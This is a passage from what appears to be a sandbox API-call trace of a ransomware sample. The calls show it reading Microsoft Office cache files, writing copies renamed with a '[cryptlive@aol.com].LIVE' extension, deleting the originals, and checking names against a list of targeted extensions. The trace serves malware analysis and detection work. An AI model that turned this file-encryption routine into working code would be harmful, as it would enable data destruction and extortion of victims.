users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0037.496] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1886) returned 1 [0037.496] CloseHandle (hObject=0x154) returned 1 [0037.496] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0037.496] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.496] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0037.496] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.496] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.496] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0037.497] GetLastError () returned 0x0 [0037.497] ReadFile (in: hFile=0x154, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x75e, lpOverlapped=0x0) returned 1 [0037.498] WriteFile (in: hFile=0x16c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x760, lpOverlapped=0x0) returned 1 [0037.499] ReadFile (in: hFile=0x154, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0037.499] WriteFile (in: hFile=0x16c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.499] SetEndOfFile (hFile=0x16c) returned 1 [0037.500] CloseHandle (hObject=0x16c) returned 1 [0037.501] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.501] SetEndOfFile (hFile=0x154) returned 1 [0037.502] CloseHandle (hObject=0x154) returned 1 [0037.502] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0037.502] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0037.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.502] lstrlenW (lpString=".doc") returned 4 [0037.502] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.502] lstrlenW (lpString=".docx") returned 5 [0037.502] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.502] lstrlenW (lpString=".pdf") returned 4 [0037.502] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.502] lstrlenW (lpString=".xls") returned 4 [0037.502] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.502] lstrlenW (lpString=".xlsx") returned 5 [0037.502] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.502] lstrlenW (lpString=".ppt") returned 4 [0037.502] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.503] lstrlenW (lpString=".zip") returned 4 [0037.503] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.503] lstrlenW (lpString=".rar") returned 4 [0037.503] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.503] lstrlenW (lpString=".bz2") returned 4 [0037.503] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.503] lstrlenW (lpString=".7z") returned 3 [0037.503] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.503] lstrlenW (lpString=".dbf") returned 4 [0037.503] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.503] lstrlenW (lpString=".1cd") returned 4 [0037.503] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.503] lstrlenW (lpString=".jpg") returned 4 [0037.503] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.503] lstrlenW (lpString=".doc") returned 4 [0037.503] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.503] lstrlenW (lpString=".docx") returned 5 [0037.503] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.503] lstrlenW (lpString=".pdf") returned 4 [0037.503] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.503] lstrlenW (lpString=".xls") returned 4 [0037.503] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.503] lstrlenW (lpString=".xlsx") returned 5 [0037.503] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.503] lstrlenW (lpString=".ppt") returned 4 [0037.503] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.504] lstrlenW (lpString=".zip") returned 4 [0037.504] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.504] lstrlenW (lpString=".rar") returned 4 [0037.504] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.504] lstrlenW (lpString=".bz2") returned 4 [0037.504] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.504] lstrlenW (lpString=".7z") returned 3 [0037.504] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.504] lstrlenW (lpString=".dbf") returned 4 [0037.504] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.504] lstrlenW (lpString=".1cd") returned 4 [0037.504] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.504] lstrlenW (lpString=".jpg") returned 4 [0037.504] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.504] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0037.504] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0037.504] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0037.506] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1450) returned 1 [0037.506] CloseHandle (hObject=0x154) returned 1 [0037.506] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0037.506] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.506] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0037.506] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.506] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.506] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0037.507] GetLastError () returned 0x0 [0037.507] ReadFile (in: hFile=0x154, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x5aa, lpOverlapped=0x0) returned 1 [0037.711] WriteFile (in: hFile=0x16c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0037.712] ReadFile (in: hFile=0x154, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0037.712] WriteFile (in: hFile=0x16c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0037.713] SetEndOfFile (hFile=0x16c) returned 1 [0037.713] CloseHandle (hObject=0x16c) returned 1 [0037.713] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.713] SetEndOfFile (hFile=0x154) returned 1 [0037.714] CloseHandle (hObject=0x154) returned 1 [0037.714] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0037.715] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0037.715] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.715] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.715] lstrlenW (lpString=".doc") returned 4 [0037.715] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.715] lstrlenW (lpString=".docx") returned 5 [0037.715] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0037.715] lstrlenW (lpString=".pdf") returned 4 [0037.715] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.715] lstrlenW (lpString=".xls") returned 4 [0037.715] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.715] lstrlenW (lpString=".xlsx") returned 5 [0037.715] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0037.715] lstrlenW (lpString=".ppt") returned 4 [0037.715] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.715] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.715] lstrlenW (lpString=".zip") returned 4 [0037.715] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.715] lstrlenW (lpString=".rar") returned 4 [0037.715] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.715] lstrlenW (lpString=".bz2") returned 4 [0037.715] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.715] lstrlenW (lpString=".7z") returned 3 [0037.715] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.715] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.715] lstrlenW (lpString=".dbf") returned 4 [0037.716] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.716] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.716] lstrlenW (lpString=".1cd") returned 4 [0037.716] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.716] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.716] lstrlenW (lpString=".jpg") returned 4 [0037.716] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.716] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.716] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.716] lstrlenW (lpString=".doc") returned 4 [0037.716] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.716] lstrlenW (lpString=".docx") returned 5 [0037.716] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0037.716] lstrlenW (lpString=".pdf") returned 4 [0037.716] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.716] lstrlenW (lpString=".xls") returned 4 [0037.716] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.716] lstrlenW (lpString=".xlsx") returned 5 [0037.716] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0037.716] lstrlenW (lpString=".ppt") returned 4 [0037.716] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.716] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.716] lstrlenW (lpString=".zip") returned 4 [0037.716] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.716] lstrlenW (lpString=".rar") returned 4 [0037.716] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.716] lstrlenW (lpString=".bz2") returned 4 [0037.716] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.716] lstrlenW (lpString=".7z") returned 3 [0037.716] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.716] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.716] lstrlenW (lpString=".dbf") returned 4 [0037.716] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.716] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.717] lstrlenW (lpString=".1cd") returned 4 [0037.717] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.717] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.717] lstrlenW (lpString=".jpg") returned 4 [0037.717] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.717] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0037.717] lstrlenW (lpString="Proof.xml") returned 9 [0037.717] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0038.081] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1457) returned 1 [0038.081] CloseHandle (hObject=0x1a4) returned 1 [0038.081] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0038.082] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0038.082] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0038.082] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.082] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.082] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0038.426] GetLastError () returned 0x0 [0038.426] ReadFile (in: hFile=0x1a4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x5b1, lpOverlapped=0x0) returned 1 [0038.815] WriteFile (in: hFile=0x1a8, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0038.816] ReadFile (in: hFile=0x1a4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0038.816] WriteFile (in: hFile=0x1a8, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.816] SetEndOfFile (hFile=0x1a8) returned 1 [0038.817] CloseHandle (hObject=0x1a8) returned 1 [0038.817] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.817] SetEndOfFile (hFile=0x1a4) returned 1 [0038.818] CloseHandle (hObject=0x1a4) returned 1 [0038.818] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0038.819] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0038.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.819] lstrlenW (lpString=".doc") returned 4 [0038.819] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.819] lstrlenW (lpString=".docx") returned 5 [0038.819] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0038.819] lstrlenW (lpString=".pdf") returned 4 [0038.819] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.819] lstrlenW (lpString=".xls") returned 4 [0038.819] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.819] lstrlenW (lpString=".xlsx") returned 5 [0038.819] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0038.819] lstrlenW (lpString=".ppt") returned 4 [0038.819] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.819] lstrlenW (lpString=".zip") returned 4 [0038.819] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.819] lstrlenW (lpString=".rar") returned 4 [0038.819] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.819] lstrlenW (lpString=".bz2") returned 4 [0038.820] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.820] lstrlenW (lpString=".7z") returned 3 [0038.820] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.820] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.820] lstrlenW (lpString=".dbf") returned 4 [0038.820] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.820] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.820] lstrlenW (lpString=".1cd") returned 4 [0038.820] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.820] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.820] lstrlenW (lpString=".jpg") returned 4 [0038.820] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.820] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.820] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.820] lstrlenW (lpString=".doc") returned 4 [0038.820] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.820] lstrlenW (lpString=".docx") returned 5 [0038.820] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0038.820] lstrlenW (lpString=".pdf") returned 4 [0038.820] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.820] lstrlenW (lpString=".xls") returned 4 [0038.820] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.820] lstrlenW (lpString=".xlsx") returned 5 [0038.820] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0038.820] lstrlenW (lpString=".ppt") returned 4 [0038.820] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.820] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.820] lstrlenW (lpString=".zip") returned 4 [0038.820] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.820] lstrlenW (lpString=".rar") returned 4 [0038.820] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.820] lstrlenW (lpString=".bz2") returned 4 [0038.820] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.820] lstrlenW (lpString=".7z") returned 3 [0038.820] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.820] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.821] lstrlenW (lpString=".dbf") returned 4 [0038.821] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.821] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.821] lstrlenW (lpString=".1cd") returned 4 [0038.821] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.821] lstrlenW 